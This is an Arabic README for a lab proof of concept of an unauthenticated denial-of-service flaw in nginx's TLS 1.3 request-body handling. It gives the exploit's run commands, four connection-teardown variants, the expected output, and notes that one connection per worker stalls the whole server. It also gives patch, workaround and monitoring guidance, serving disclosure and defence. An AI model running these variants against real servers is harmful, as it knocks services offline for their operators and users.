
إثبات مفهوم قائم على Docker للثغرة CVE-2026-118899، وهي حلقة لا نهائية في جسم طلب TLS 1.3 في nginx (CWE-835) تؤدي إلى استنزاف وحدة المعالجة المركزية لعامل (worker) دون مصادقة، ما يسبب حجب الخدمة (DoS).
تتسبب حلقة غير محدودة (CWE-835) في مسار قراءة جسم الطلب عبر TLS في nginx في انشغال عامل (worker) بنسبة 100% من المعالج عندما يعلن عميل عبر TLS 1.3 عن Content-Length كبير، ثم يرسل جزءًا من الجسم، ثم يُنهي جلسة TLS بطريقة تترك حلقة القراءة دون حدث إيقاظ.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-118899 |
| CVSS 3.1 | 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CVSS 4.0 | 8.7 High |
| CWE | CWE-835 (حلقة لا نهائية) |
| المتأثر | nginx 1.13.0 – 1.31.8 |
| المُصلَح | nginx 1.30.7 / 1.31.9 |
| الإشعار الأمني | https://my.f5.com/manage/s/article/K000163930 |
| يتطلب مصادقة | لا |
| تاريخ الإفصاح | 2026-11-18 |
مع تفعيل ssl on وTLS 1.3 على مستمع http، تفتقر حلقة القراءة الخاصة بأجسام الطلبات الكبيرة إلى إيقاظ مناسب بعد أن تشير طبقة TLS إلى عدم وجود المزيد من البيانات للقراءة. يظل العامل في حالة دوران بانتظار بيانات لن تصل أبدًا، مستهلكًا 100% من المعالج. وتُحرم جميع الاتصالات اللاحقة إلى ذلك العامل من الخدمة.
متطلبات التشغيل: ssl on مع TLS 1.3 على مستمع HTTP يقبل الأجسام.
flowchart LR
A([Attacker]) -->|TLS 1.3 POST\nContent-Length: 10MB\nBody: 1KB sent| B[nginx 1.31.8\nTLS HTTP listener]
B -->|Worker enters\nread loop| C[Read Loop\nAwaits body]
A -->|TLS teardown\nclose_notify/RST\nmid-body| C
C -->|No wakeup event\ninfinite loop| D[Worker 100% CPU\nAll connections blocked]
D --> E([Remote DoS\nUnauthenticated])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#2d1a1a,stroke:#f85149,color:#f85149
style E fill:#1a1f2e,stroke:#f85149,color:#f85149
تحذير: بيئة مختبرية فقط. العامل (worker) المعلّق يتوقف عن خدمة جميع الطلبات حتى إعادة تشغيله.
docker compose up -d --build
python3 poc.py -v stall -n 4
المخرجات المتوقعة — بناء قابل للاستغلال:
[+] worker is hung (3 consecutive health timeouts)
[!] VULNERABLE - worker stopped serving
confirm CPU: docker stats --no-stream (nginx at ~100%)
docker stats --no-stream
docker compose exec nginx ps -o pid,pcpu,comm -C nginx
تسلسل الإنهاء الدقيق غير معلن للعموم — تتوفر أربعة متغيرات:
# Stall: stop sending, socket stays open (default)
python3 poc.py -v stall -n 4
# TLS close_notify mid-body, TCP half-open (most reliable on slow hosts)
python3 poc.py -v close_notify -n 4
# TCP RST mid-body
python3 poc.py -v rst -n 4
# Drip single bytes, then stall
python3 poc.py -v drip -n 4
| العلامة | الوصف |
|---|---|
-v stall|close_notify|rst|drip | متغيّر الإنهاء (الافتراضي: stall) |
-n N | عدد محاولات التشغيل (الافتراضي: 4) |
--host HOST | مضيف nginx (الافتراضي: 127.0.0.1) |
--port PORT | منفذ HTTPS (الافتراضي: 443) |
sed -i 's/nginx:1.31.8/nginx:1.31.9/' nginx/Dockerfile
docker compose build --no-cache nginx && docker compose up -d
python3 poc.py -v stall -n 4
# Worker remains responsive — health checks pass
| المؤشر | ملاحظات |
|---|---|
| عامل nginx عند ~100% من استخدام المعالج مع حركة مرور شبه معدومة | ps aux أو top: عملية عامل nginx مثبّتة |
انتهاء مهلة /health وجميع الطلبات | عملية master حيّة، والعاملون لا يستجيبون |
| لا إشارة 11 (لا انهيار) | العامل يدور في حلقة — لا يموت — وهذه هي السمة المميزة |
حرمان من الخدمة (DoS) عن بُعد دون مصادقة. اتصال واحد مصمم بعناية لكل عامل nginx كافٍ. مع worker_processes N، تُعطّل N اتصالات الخادم بأكمله. العامل لا يموت — ولا يُستعاد إلا بإعادة تشغيل يدوية.
قم بالترقية إلى nginx 1.30.7 أو 1.31.9. إذا لم يكن الترقيع ممكنًا على الفور، فأزل TLSv1.3 من ssl_protocols على مستمعي HTTP الذين يقبلون الأجسام (bodies).
| الإجراء | التفاصيل |
|---|---|
| ترقية nginx | 1.30.7 (stable) أو 1.31.9 (mainline) |
| حل بديل | إزالة TLSv1.3 من ssl_protocols على مستمعي HTTP الذين يقبلون الأجسام |
| مراقبة العاملين | تنبيه عند عمال nginx الذين يتجاوز استخدام المعالج لديهم 90% مع إنتاجية طلبات قريبة من الصفر |
إخلاء المسؤولية: للبحث الأمني المصرّح به والاستخدام في بيئات مختبرية مُتحكَّم بها فقط. رخصة MIT.